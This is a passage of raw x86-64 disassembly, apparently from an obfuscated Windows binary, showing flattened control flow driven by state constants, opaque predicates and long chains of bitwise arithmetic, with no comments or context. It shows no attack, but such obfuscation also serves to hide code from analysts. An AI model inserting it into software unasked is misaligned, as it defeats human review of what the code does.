xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
xor dl, 1
xor al, 1
mov ecx, eax
or cl, dl
xor al, dl
mov edx, ecx
xor dl, al
test dl, 1
mov edx, 0x274ff9af
mov ebx, 0x1c7c827e
cmovne edx, ebx
test al, 1
mov eax, edx
mov ebx, 0x274ff9af
jmp 0x14019cc81
cmp eax, 0x5a01bb11
je 0x140186078
cmp eax, 0x5b5fe0fc
jne 0x14016c950
mov rax, qword [rbp - 0x60]
mov eax, 0x45b7fde7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x1cd9aac7
je 0x140186224
cmp eax, 0x1ce70db3
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov edx, edi
not edx
mov ecx, edx
or ecx, 0xc23b2124
mov ebx, edi
or ebx, 1
and ebx, 0xc23b2125
mov esi, edx
and esi, 0x3dc4deda
or esi, ebx
and ecx, 0xc23b2125
xor ecx, esi
mov ebx, ecx
not ebx
mov esi, ebx
and esi, 0x7ee5e7e0
and ecx, 0x811a181f
or ecx, esi
and edi, 0x7ee5e7e0
and edx, 0x811a181f
or edx, edi
xor edx, ecx
xor ebx, edx
test ebx, edx
sete cl
setne dl
cmp eax, 0xa
setl bl
cmp eax, 9
setg al
and dl, al
and bl, cl
or bl, dl
xor bl, 1
or bl, al
mov edx, eax
xor dl, cl
not dl
and dl, cl
or al, cl
xor al, 1
mov ecx, edx
and cl, al
xor al, dl
or al, cl
mov ecx, ebx
xor cl, al
xor al, 1
xor cl, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x8145f053
mov ebx, 0x78607719
cmovne edx, ebx
test al, 1
mov eax, 0x8145f053
jmp 0x1401a2f66
cmp eax, 0x78380115
je 0x140186239
cmp eax, 0x78607719
jne 0x14016c950
mov eax, 0x1ce70db3
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x40ff1263
je 0x14018637a
cmp eax, 0x411fef6b
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov ebx, edi
not ebx
mov ecx, ebx
and ecx, 0x373099fc
mov edx, edi
and edx, 0xc8cf6602
or edx, ecx
mov esi, edx
xor esi, 0x8032202
xor edx, 0x211088d1
mov ecx, ebx
or ecx, 0xe1dcccd0
and edx, 0xe1dcccd1
and esi, 0x1e23332e
or esi, edx
and ecx, 0xe1dcccd1
xor ecx, esi
mov edx, ecx
not edx
and edx, 0x3c46d448
and ecx, 0xc3b92bb7
or ecx, edx
mov edx, ecx
xor edx, 0x80990b00
and ebx, 0x2edb0d51
and edi, 0xd124f2ae
or edi, ebx
mov ebx, edi
xor ebx, 0x80005208
xor ecx, 0x3c46d448
xor edi, 0x2edb0d51
mov esi, ecx
and esi, 0x5b24a4b7
and edx, 0xa4db5b48
or edx, esi
or ecx, edi
and edi, 0x5b24a4b7
and ebx, 0xa4db5b48
or ebx, edi
xor ebx, edx
not ecx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xfe6ac4c9
and ecx, 0x1953b36
or ecx, edx
xor ecx, 0x1953b36
sete r8b
setne bl
cmp eax, 9
setg cl
cmp eax, 0xa
setl al
and al, bl
and r8b, cl
or r8b, al
mov eax, ecx
xor al, bl
or cl, bl
xor cl, 1
or cl, al
xor cl, 1
mov eax, r8d
and al, cl
xor cl, r8b
or cl, al
mov eax, ecx
xor al, 1
mov ebx, eax
and bl, cl
mov edx, ebx
and dl, al
xor bl, al
or bl, dl
mov eax, ebx
xor bl, 1
and bl, r8b
xor r8b, 1
and al, r8b
or bl, al
mov eax, r8d
and al, cl
xor r8b, cl
or r8b, al
mov eax, r8d
xor al, bl
test al, 1
mov ecx, 0x4c0b28f2
mov eax, 0x1e8e4060
cmovne ecx, eax
test r8b, 1
mov eax, 0x4c0b28f2
cmovne eax, ecx
jmp 0x140182900
cmp eax, 0x118b699e
je 0x140186582
cmp eax, 0x11eaa84d
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov esi, edx
not esi
mov ecx, edx
or ecx, 0xcda190c4
mov edi, edx
and edi, 0xcda190c4
mov ebx, esi
and ebx, 0x325e6f3a
or ebx, edi
and ecx, 0xcda190c5
xor ecx, ebx
mov ebx, ecx
not ebx
and esi, 0xc1b2bbb4
and edx, 0x3e4d444b
or edx, esi
mov edi, edx
xor edi, 0x3248000b
xor edx, 0xc1b2bbb4
mov esi, ecx
and esi, 0x4c954ce0
and ebx, 0xb36ab31f
or ebx, esi
or ecx, edx
and edx, 0x4c954ce0
and edi, 0xb36ab31f
or edi, edx
xor edi, ebx
not ecx
or ecx, edi
cmp ecx, 0xffffffff
setne r8b
sete r9b
cmp eax, 0xa
setl r10b
cmp eax, 9
setg al
mov ebx, r9d
or bl, al
xor bl, 1
mov ecx, r9d
xor cl, al
not cl
and cl, al
mov edx, ebx
and dl, cl
xor cl, bl
or cl, dl
and r8b, r10b
or r10b, r9b
and al, r9b
or al, r8b
mov edx, r10d
xor dl, al
xor al, 1
xor dl, 1
or al, r10b
xor al, 1
or al, dl
mov edx, ecx
and dl, al
xor al, 1
mov ebx, ecx
xor bl, 1
and bl, al
or bl, dl
mov edx, ecx
xor dl, al
or al, cl
xor al, 1
or al, dl
mov ecx, eax
xor cl, bl
test cl, 1
mov ecx, 0x2605b332
mov edx, 0xde5725cf
cmovne ecx, edx
test al, 1
mov eax, 0x2605b332
jmp 0x140197760
cmp eax, 0x6fd41c58
je 0x140186597
cmp eax, 0x702697a6
jne 0x14016c950
mov eax, 0xa2845c03
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x36ce0b8d
je 0x140186741
cmp eax, 0x36f7e205
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0x3c01a170
and edx, ebx
not ebx
and ebx, 0x38008010
and ecx, 0x4012160
or ecx, ebx
mov ebx, ecx
xor ebx, 0x4012140
xor ecx, 0xfbfede9f
mov edi, edx
not edi
mov esi, ecx
and esi, 0x591846a7
and ebx, 0x2401a150
or ebx, esi
or ecx, edi
and edi, 0x591846a7
and edx, 0xa6e7b958
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xc3fe5e8f
and ecx, 0x3c01a170
or ecx, edx
mov ebx, ecx
not ebx
mov edx, ecx
xor edx, 0x76fb9d69
mov edi, edx
and edi, ebx
and edx, ecx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xeee6dcb8
and edx, 0x11192347
or edx, edi
mov edi, edx
xor edi, 0x62e2160b
and ebx, 1
xor ecx, 0xfffffffe
or ecx, ebx
mov ebx, ecx
not ebx
xor edx, 0x981d41d0
mov esi, edx
and esi, 0x8d1de8a4
and edi, 0x72e2175b
or edi, esi
or edx, ecx
and ecx, 0x8d1de8a4
and ebx, 0x72e2175b
or ebx, ecx
xor ebx, edi
not edx
or edx, ebx
mov ecx, edx
not ecx
and ecx, 0x6c02e08e
and edx, 0x93fd1f71
or edx, ecx
mov ecx, edx
not ecx
and ecx, 0x93fd1f71
and edx, 0x6c02e08e
or edx, ecx
sete cl
cmp eax, 9
setg dl
cmp eax, 0xa
setl bl
mov eax, ebx
xor al, cl
or bl, cl
xor bl, 1
or bl, al
and al, cl
or dl, cl
xor al, 1
mov ecx, eax
xor cl, dl
or al, dl
xor al, 1
or al, cl
mov ecx, eax
and al, bl
xor bl, 1
xor cl, 1
mov edx, ebx
xor dl, cl
and dl, bl
and cl, bl
or cl, al
mov eax, edx
xor al, cl
test cl, 1
mov ecx, 0xf4a4cc71
mov ebx, 0xae2885b4
cmovne ecx, ebx
test dl, dl
mov edx, 0xf4a4cc71
jmp 0x14019affd
cmp eax, 0x6243a973
je 0x140186756
cmp eax, 0x627c0cee
jne 0x14016c950
mov eax, 0xf7b2c4d7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x25633b0f
je 0x140186912
cmp eax, 0x25d62647
jne 0x14016c950
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
not ecx
mov ebx, ecx
and ebx, 0x9e57168b
and edx, 0x61a8e974
or edx, ebx
mov edi, edx
xor edi, 0x40200030
xor edx, 0x410003
or ecx, 0xc6613bfb
mov ebx, ecx
not ebx
or edx, 0x28944000
and edx, 0x28d56943
and edi, 0xc62012b8
or edi, edx
and ecx, 0x28d56943
and ebx, 0x110a8404
or ebx, ecx
xor ebx, edi
mov ecx, ebx
not ecx
and ecx, 0x399ec404
and ebx, 0xc6613bfb
or ebx, ecx
mov ecx, ebx
mov edx, ebx
xor edx, 0xcb11dece
and edx, ebx
not ebx
and ebx, 0x33ae9c02
and ecx, 0xcc5163fd
or ecx, ebx
mov edi, ecx
xor edi, 0xcc5163fd
mov ebx, edi
and ebx, 0xcb11dece
mov esi, ebx
and esi, edx
xor edx, ebx
or edx, esi
mov ebx, edx
not ebx
and ebx, 0x34ee2130
and edx, 0xcb11decf
or edx, ebx
and edi, 1
xor ecx, 0xcc5163fc
or ecx, edi
mov ebx, ecx
not ebx
and ebx, 0xb666e8ad
and ecx, 0x49991752
or ecx, ebx
xor ecx, 0x49991752
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0x9f194263
and ecx, 0x60e6bd9c
or ecx, edx
mov edx, ecx
xor edx, 0x20e6a99c
xor ecx, 0x9f194263
mov ebx, ecx
and ebx, 0x41111600
and edx, 0xbeeee9ff
or edx, ebx
xor edx, 0x41111600
xor ecx, edx
test ecx, edx
setne cl
cmp eax, 0xa
setl dl
cmp eax, 9
setg al
mov ebx, eax
and bl, cl
xor al, cl
or al, bl
xor al, 1
xor dl, cl
xor dl, al
and al, dl
mov ecx, edx
xor cl, al
test dl, dl
mov edx, 0x8ce50a29
mov ebx, 0xb38a04a0
cmovne edx, ebx
test al, al
cmove edx, ebx
not cl
test cl, 1
mov eax, 0x8ce50a29
jmp 0x14019f61b
cmp eax, 0x7f2e1fac
je 0x140186b1f
cmp eax, 0x7fefb0d1
jne 0x14016c950
mov rax, qword [rbp - 8]
mov eax, 0x777fde37
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
cmp eax, 0x485e7173
je 0x140186b34
cmp eax, 0x48603333
jne 0x14016c950
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edi, [rax - 1]
imul edi, eax
mov eax, edi
not eax
mov ebx, eax
and ebx, 0xbbb1b37b
mov edx, edi
and edx, 0x444e4c84
or edx, ebx
mov ebx, edx
not ebx
and ebx, 0x444e4c85
and edx, 0xbbb1b37a
or edx, ebx
mov ebx, edx
not ebx
and eax, ebx
and edx, edi
or edx, eax
not edx
or edx, ebx
cmp edx, 0xffffffff
sete al
setne dl
cmp ecx, 9
setg r8b
cmp ecx, 0xa
setl r9b
mov ebx, r9d
xor bl, dl
mov ecx, ebx
xor cl, r8b
and cl, bl
or dl, r9b
or al, r8b
mov ebx, edx
xor bl, al
or al, dl
xor al, 1
or al, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, dl
and al, bl
mov r8d, edx
and r8b, cl
xor cl, dl
or cl, r8b
mov r8d, ebx
and r8b, al
xor al, bl
or al, r8b
xor al, cl
mov ecx, edx
and cl, bl
xor bl, dl
or bl, cl
mov ecx, ebx
xor cl, al
test bl, 1
mov edx, 0xfffc3757
mov ebx, 0x6913c3c0
cmovne edx, ebx
test al, 1
cmove edx, ebx
test cl, 1
mov eax, 0xfffc3757
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rdx - 1]
imul edi, edx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0xaf419180
mov edx, edi
and edx, 0x50be6e7e
or edx, ebx
mov ebx, edx
xor ebx, 0x403e4e00
xor edx, 0xaf419181
mov ecx, edi
xor ecx, 0xfffffffe
and ecx, edi
mov eax, ecx
not eax
mov esi, edx
and esi, 0xb68130ff
and ebx, 0x497ecf00
or ebx, esi
or edx, eax
and eax, 0xb68130ff
and ecx, 0x497ecf00
or ecx, eax
xor ecx, ebx
not edx
or edx, ecx
mov eax, edx
not eax
and eax, 0x8fd10cdc
and edx, 0x702ef323
or edx, eax
xor edx, 0x702ef323
and r9d, 0xf7a7ef7a
and edi, 0x8581085
or edi, r9d
xor edi, 0x8581085
mov eax, edx
and eax, edi
xor edi, edx
or edi, eax
mov eax, edi
not eax
and eax, 0x1bf49a9d
and edi, 0xe40b6562
or edi, eax
xor edi, 0xe40b6562
setne cl
sete r9b
cmp r8d, 0xa
setl r10b
cmp r8d, 9
setg r8b
mov ebx, r9d
xor bl, cl
and bl, r9b
mov r11d, ebx
xor r11b, 1
mov edx, ebx
and dl, r11b
mov eax, edx
xor al, 1
xor dl, bl
or al, r11b
xor al, 1
or al, dl
mov edx, eax
and dl, r8b
xor al, 1
and al, r10b
or al, dl
and r8b, r9b
and cl, r10b
or cl, r8b
mov edx, r10d
and dl, r9b
xor r10b, r9b
or r10b, dl
mov edx, r10d
xor dl, cl
xor cl, 1
xor dl, 1
or cl, r10b
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, ecx
xor dl, 1
mov ebx, eax
xor bl, 1
and cl, bl
or bl, dl
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov ecx, 0x8f441789
mov eax, 0xda31d67d
cmovne ecx, eax
test dl, dl
mov eax, ecx
mov edx, 0x8f441789
jmp 0x140183b8c
mov eax, 0x7fc341d
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0x2752326a
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, 0xd0a3c1d7
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ecx, edx
xor ecx, 0x5d9f6fa0
and ecx, edx
not edx
and edx, 0x5d9f6fa0
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov edx, ecx
not edx
and edx, 0xae316f0f
and ecx, 0x51ce90f0
or ecx, edx
mov edi, ecx
xor edi, 0xc51ff50
xor ecx, 0xf3ae00af
mov edx, edi
or edx, 0x24468222
mov esi, edx
not esi
mov eax, ecx
or eax, 0xdbb97ddd
mov ebx, eax
not ebx
and edx, 0xc52e4805
and esi, 0x1a9135d8
or esi, edx
and eax, 0xc52e4805
and ebx, 0x20408222
or ebx, eax
xor ebx, esi
mov eax, ebx
not eax
and eax, 0x24468223
and ebx, 0xdbb97ddc
or ebx, eax
and edi, 0xdce922aa
mov eax, ecx
and eax, 0x2316dd55
or eax, edi
xor eax, 0xdce922ab
and ecx, 1
or ecx, eax
mov eax, ecx
not eax
mov edx, ebx
not edx
mov edi, edx
and edi, 0x1a82c960
and ebx, 0xe57d369f
or ebx, edi
or edx, ecx
and ecx, 0x1a82c960
and eax, 0xe57d369f
or eax, ecx
xor eax, ebx
not edx
or edx, eax
mov eax, edx
not eax
mov ecx, eax
and ecx, 0x19205b37
and eax, edx
and edx, 0xe6dfa4c8
or edx, ecx
xor edx, 0xe6dfa4c8
mov ecx, edx
and ecx, eax
xor edx, eax
or edx, ecx
mov eax, edx
not eax
and edx, 0x49afefdf
and eax, 0xb6501020
or eax, edx
xor eax, 0xb6501020
sete sil
setne r10b
cmp r8d, 0xa
setl r9b
cmp r8d, 9
setg r8b
mov edx, r8d
xor dl, r9b
and dl, r8b
mov eax, edx
xor al, 1
mov ebx, eax
and bl, dl
mov r11d, eax
and r11b, bl
xor bl, al
or bl, r11b
or al, dl
mov edx, ebx
xor dl, al
or al, bl
xor al, 1
or al, dl
mov edx, eax
xor dl, 1
and dl, r10b
and al, sil
or al, dl
xor sil, r9b
mov edx, r8d
xor dl, r10b
or r8b, r10b
xor r8b, 1
or r8b, dl
mov edx, r8d
xor dl, sil
xor sil, 1
xor dl, 1
or sil, r8b
xor sil, 1
or sil, dl
mov ecx, esi
xor cl, 1
xor al, 1
mov edx, ecx
and dl, sil
mov ebx, edx
and bl, cl
xor dl, cl
or dl, bl
xor dl, al
mov ecx, eax
and cl, sil
xor al, sil
or al, cl
mov ecx, edx
xor cl, al
not cl
test cl, 1
mov ecx, 0x9ce5fe3
mov ebx, 0xfa81600f
cmovne ecx, ebx
test al, 1
mov eax, 0x9ce5fe3
cmovne eax, ecx
jmp 0x140199708
mov eax, 0xa984223c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov eax, dword [0x1402656c8]
mov ecx, dword [0x1402656c4]
lea edx, [rax - 1]
imul edx, eax
mov eax, edx
not eax
and eax, 0xe66b442b
and edx, 0x1994bbd4
or edx, eax
mov eax, edx
xor eax, 0x1994bbd4
mov ebx, edx
xor ebx, 0xe66b442a
xor edx, 0x1994bbd5
and edx, eax
and ebx, 0xfffffffe
and eax, 1
or eax, ebx
mov ebx, edx
and ebx, eax
xor eax, edx
or eax, ebx
mov edx, eax
not edx
mov ebx, edx
and ebx, 0x8b83b5e3
and edx, eax
and eax, 0x747c4a1c
or eax, ebx
xor eax, 0x747c4a1c
mov ebx, eax
and ebx, edx
xor eax, edx
or eax, ebx
sete r9b
setne al
cmp ecx, 0xa
setl r10b
cmp ecx, 9
setg r8b
mov edx, eax
xor dl, r9b
and dl, al
mov ecx, edx
xor cl, 1
or cl, dl
xor cl, 1
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov edx, r10d
or dl, cl
xor cl, 1
or cl, r8b
xor cl, 1
xor dl, 1
mov ebx, ecx
and bl, dl
xor dl, cl
or dl, bl
xor al, r8b
mov ecx, r10d
and cl, r9b
xor r10b, r9b
or r10b, cl
mov ecx, r10d
xor cl, al
xor al, 1
xor cl, 1
or al, r10b
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
mov ebx, eax
and bl, cl
mov r8d, eax
xor r8b, bl
xor bl, 1
or bl, cl
xor bl, 1
or bl, r8b
mov ecx, ebx
and cl, dl
xor dl, 1
xor bl, 1
and bl, dl
or bl, cl
mov ecx, edx
and cl, al
xor dl, al
or dl, cl
mov ecx, edx
xor cl, bl
test dl, 1
mov eax, 0xc0ee7762
mov edx, 0x4e18a0cb
cmovne eax, edx
test bl, 1
cmove eax, edx
test cl, 1
mov ecx, 0xc0ee7762
jmp 0x1401a14db
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
not ecx
mov edx, ecx
and edx, 0x4392757a
and ebx, 0xbc6d8a85
or ebx, edx
mov edi, ebx
xor edi, 0x84000280
xor ebx, 0x24078
or ecx, 0xc416f6fc
mov edx, ecx
not edx
or ebx, 0x23e10003
and ebx, 0x23e7c07f
and edi, 0xc4103680
or edi, ebx
and ecx, 0x23e7c07f
and edx, 0x18080900
or edx, ecx
xor edx, edi
mov ecx, edx
not ecx
and ecx, 0x48757b75
and edx, 0xb78a848a
or edx, ecx
mov ebx, edx
xor ebx, 0x739c7276
mov ecx, edx
xor ecx, 0x8c638d89
mov edi, ecx
and edi, 0x57cae916
xor edx, 0x24569b60
and edx, ebx
mov esi, edi
and esi, edx
xor edx, edi
or edx, esi
mov edi, edx
not edi
and edi, 0xa83516e8
and edx, 0x57cae917
or edx, edi
and ebx, 0x6ef7ea58
mov edi, ecx
and edi, 0x910815a7
or edi, ebx
xor edi, 0x6ef7ea59
and ecx, 1
or ecx, edi
not ecx
mov ebx, edx
and ebx, ecx
xor ecx, edx
or ecx, ebx
mov ebx, ecx
not ebx
mov edx, ebx
and edx, ecx
mov edi, edx
not edi
mov esi, ecx
and esi, 0x7d619370
and ebx, 0x829e6c8f
or ebx, esi
or ecx, edi
and edi, 0x7d619370
and edx, 0x829e6c8f
or edx, edi
xor edx, ebx
not ecx
or ecx, edx
sete r8b
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov ebx, eax
xor bl, r8b
not bl
and bl, r8b
or al, r8b
xor al, 1
mov edx, ebx
and dl, al
xor al, bl
or al, dl
mov ebx, ecx
or bl, r8b
xor cl, r8b
mov edx, ebx
xor dl, cl
xor cl, 1
xor dl, 1
or cl, bl
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and dl, cl
xor dl, 1
mov ebx, ecx
xor bl, dl
or dl, cl
xor dl, 1
or dl, bl
mov r8d, edx
xor r8b, 1
mov ebx, eax
xor bl, 1
and al, bl
mov ecx, edx
and cl, r8b
xor al, 1
mov r9d, eax
xor r9b, bl
or al, bl
xor al, 1
or al, r9b
mov r9d, ecx
and r9b, dl
xor cl, dl
or cl, r9b
xor cl, al
mov eax, ebx
and al, r8b
xor bl, r8b
or bl, al
mov eax, ebx
xor al, cl
test bl, 1
mov edx, 0xcd84021c
mov ebx, 0xcfacf365
cmovne edx, ebx
test cl, 1
cmove edx, ebx
test al, 1
mov eax, 0xcd84021c
jmp 0x1401a0e8b
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0x12044700
mov ecx, ebx
and ecx, 0x9822020
or ecx, edx
xor ecx, 0x9822020
mov edx, ebx
xor edx, 0x1b866720
and edx, ebx
mov esi, ecx
and esi, edx
xor edx, ecx
or edx, esi
mov ecx, edx
not ecx
and ecx, 0xe47998de
and edx, 0x1b866721
or edx, ecx
mov ecx, edx
not ecx
and edi, ecx
and edx, ebx
or edx, edi
not edx
or edx, ecx
cmp edx, 0xffffffff
sete r8b
setne r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg cl
mov eax, r10d
xor al, r8b
and al, r10b
xor al, 1
mov ebx, eax
or bl, cl
xor al, cl
not al
and al, cl
mov edx, ebx
xor dl, al
xor al, 1
xor dl, 1
or al, bl
xor al, 1
or al, dl
mov edx, ecx
xor dl, r8b
and dl, cl
and r9b, r10b
and cl, r8b
or cl, r9b
mov ebx, edx
and bl, cl
xor cl, dl
or cl, bl
mov ebx, ecx
xor bl, 1
mov edx, ebx
and dl, cl
xor bl, dl
xor dl, 1
or dl, cl
xor dl, 1
or dl, bl
mov ecx, eax
xor cl, 1
and cl, dl
xor dl, 1
mov ebx, eax
xor bl, dl
and bl, al
and dl, al
or dl, cl
mov eax, ebx
xor al, dl
test al, 1
mov eax, 0x1a0e412e
mov edi, 0x84b6517a
cmovne eax, edi
test dl, 1
mov ecx, eax
cmovne ecx, edi
test bl, 1
jmp 0x1401a26bd
mov ecx, dword [0x1402656c8]
mov r8d, dword [0x1402656c4]
lea edi, [rcx - 1]
imul edi, ecx
mov r9d, edi
not r9d
mov ebx, r9d
and ebx, 0xabcda956
mov ecx, edi
and ecx, 0x543256a8
or ecx, ebx
mov ebx, ecx
xor ebx, 0x10120280
xor ecx, 0xabcda957
mov edx, edi
xor edx, 0xfffffffe
and edx, edi
mov eax, edx
not eax
mov esi, ecx
and esi, 0xe6a0f579
and ebx, 0x195f0a86
or ebx, esi
or ecx, eax
and eax, 0xe6a0f579
and edx, 0x195f0a86
or edx, eax
xor edx, ebx
not ecx
or ecx, edx
mov eax, ecx
not eax
and r9d, eax
and ecx, edi
or ecx, r9d
xor eax, ecx
test eax, ecx
sete r10b
setne r9b
cmp r8d, 9
setg dl
cmp r8d, 0xa
setl r8b
mov eax, r8d
and al, dl
mov ecx, edx
and cl, al
mov ebx, edx
xor bl, al
or bl, cl
mov ecx, ebx
xor cl, 1
and cl, r9b
and bl, r10b
or bl, cl
mov ecx, r8d
and cl, al
xor al, r8b
or al, cl
xor al, r10b
xor r8b, r10b
or dl, r9b
xor dl, 1
or dl, r8b
mov ecx, edx
xor cl, al
xor al, 1
xor cl, 1
or al, dl
xor al, 1
or al, cl
mov ecx, eax
xor cl, 1
and al, cl
mov edx, ecx
and dl, al
xor al, cl
or al, dl
mov ecx, ebx
xor cl, 1
and cl, al
xor al, 1
mov edx, ebx
xor dl, al
and dl, bl
and al, bl
or al, cl
mov ecx, eax
xor cl, dl
test al, al
mov eax, 0x3577fbf6
mov ebx, 0x937ab197
cmovne eax, ebx
test dl, dl
mov edx, 0x3577fbf6
jmp 0x14019d83c
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rdx - 1]
imul ebx, edx
mov edi, ebx
not edi
mov edx, edi
and edx, 0xfffffffe
mov ecx, ebx
xor ecx, 0xfffffffe
and ecx, ebx
mov esi, edx
and esi, ecx
xor ecx, edx
or ecx, esi
mov edx, ecx
not edx
and edx, 0xb47a8893
and ecx, 0x4b85776c
or ecx, edx
xor ecx, 0x4b85776c
and edi, 0x4cc8f838
and ebx, 0xb33707c7
or ebx, edi
xor ebx, 0xb33707c7
mov edx, ecx
and edx, ebx
xor ebx, ecx
or ebx, edx
mov ecx, ebx
not ecx
and ecx, 0x1524c6fe
and ebx, 0xeadb3901
or ebx, ecx
xor ebx, 0xeadb3901
sete cl
setne dl
cmp eax, 9
setg bl
cmp eax, 0xa
setl al
and al, dl
mov edx, ebx
and dl, cl
or dl, al
xor cl, bl
and cl, bl
mov eax, ecx
and al, dl
xor cl, dl
or cl, al
xor cl, dl
and dl, cl
mov eax, ecx
xor al, dl
test al, 1
mov eax, 0x5f5fbd8d
mov ebx, 0xefe23806
cmovne eax, ebx
test cl, cl
mov ecx, 0x5f5fbd8d
cmovne ecx, eax
jmp 0x14019f0fe
mov edx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ecx, [rdx - 1]
imul ecx, edx
mov edx, ecx
not edx
mov ebx, edx
and ebx, 0x31218a0e
mov edi, ecx
and edi, 0xcede75f0
or edi, ebx
xor edi, 0xcede75f0
mov ebx, ecx
and ebx, 1
or ebx, edi
and edx, 0x7ac5e149
and ecx, 0x853a1eb6
or ecx, edx
mov edx, ecx
xor edx, 0x81121e94
mov edi, ebx
not edi
mov esi, edi
and esi, 0x666c8062
and ebx, 0x99937f9d
or ebx, esi
xor ecx, 0x62448040
and ecx, 0x666c8062
and edx, 0x99937f9d
or edx, ecx
xor edx, ebx
xor edi, edx
test edi, edx
sete r8b
setne bl
cmp eax, 0xa
setl cl
cmp eax, 9
setg al
mov edx, eax
and dl, bl
and r8b, al
xor al, bl
or al, dl
and cl, bl
or cl, r8b
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ebx, ecx
xor bl, dl
or cl, dl
xor cl, 1
or cl, bl
mov r8d, ecx
and r8b, al
mov ebx, eax
and bl, dl
xor dl, al
xor al, 1
xor cl, 1
and cl, al
or cl, r8b
or dl, bl
mov ebx, edx
xor bl, cl
test dl, dl
mov eax, 0xd502a5cb
mov edx, 0x4ad7ae3d
cmovne eax, edx
test cl, cl
cmove eax, edx
test bl, 1
mov ecx, 0xd502a5cb
jmp 0x1401a14db
mov eax, 0x54161e0c
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea edx, [rcx - 1]
imul edx, ecx
mov ebx, edx
not ebx
or edx, 0x93d3cfb7
mov edi, edx
not edi
or ebx, 0x6c2c3048
mov ecx, ebx
not ecx
and edx, 0x91e47697
and edi, 0x6c080048
or edi, edx
and ebx, 0x91e47697
and ecx, 0x2138920
or ecx, ebx
xor ecx, edi
mov edx, ecx
not edx
and edx, 0x93d3cfb7
and ecx, 0x6c2c3048
or ecx, edx
mov edx, ecx
not edx
mov ebx, ecx
and ebx, 0xfffffffe
and edx, 0xfffffffe
and ecx, 1
or ecx, edx
mov edx, ebx
and edx, ecx
xor ecx, ebx
or ecx, edx
mov edx, ecx
not edx
and edx, 0xd6c6c37a
and ecx, 0x29393c85
or ecx, edx
mov edx, ecx
xor edx, 0x2c44018
xor ecx, 0x11485
and ecx, 0xd40397e7
and edx, 0x2bfc6818
or edx, ecx
xor edx, 0x2bfc6818
setne r8b
sete r10b
cmp eax, 0xa
setl r9b
cmp eax, 9
setg al
mov edx, r10d
or dl, al
xor dl, 1
mov ebx, r10d
xor bl, al
mov ecx, ebx
not cl
and cl, al
mov r11d, edx
and r11b, cl
xor cl, dl
or cl, r11b
and bl, al
and r9b, r8b
and al, r10b
or al, r9b
mov edx, ebx
xor dl, 1
xor bl, al
xor al, 1
or al, dl
xor al, 1
or al, bl
mov edx, eax
xor dl, 1
mov ebx, ecx
xor bl, 1
and dl, bl
or bl, al
and al, cl
or al, dl
mov ecx, ebx
xor cl, al
test cl, 1
mov ecx, 0xcd1c4a5a
mov edx, 0x6a1fb8e9
cmovne ecx, edx
test al, 1
mov eax, ecx
mov edx, 0xcd1c4a5a
cmovne eax, edx
test bl, 1
jmp 0x14019970b
mov eax, 0xab1ad6ee
cmp eax, 0xfffc3756
jle 0x140186c80
jmp 0x14016c95b
mov ecx, dword [0x1402656c8]
mov eax, dword [0x1402656c4]
lea ebx, [rcx - 1]
imul ebx, ecx
mov ecx, ebx
mov edx, ebx
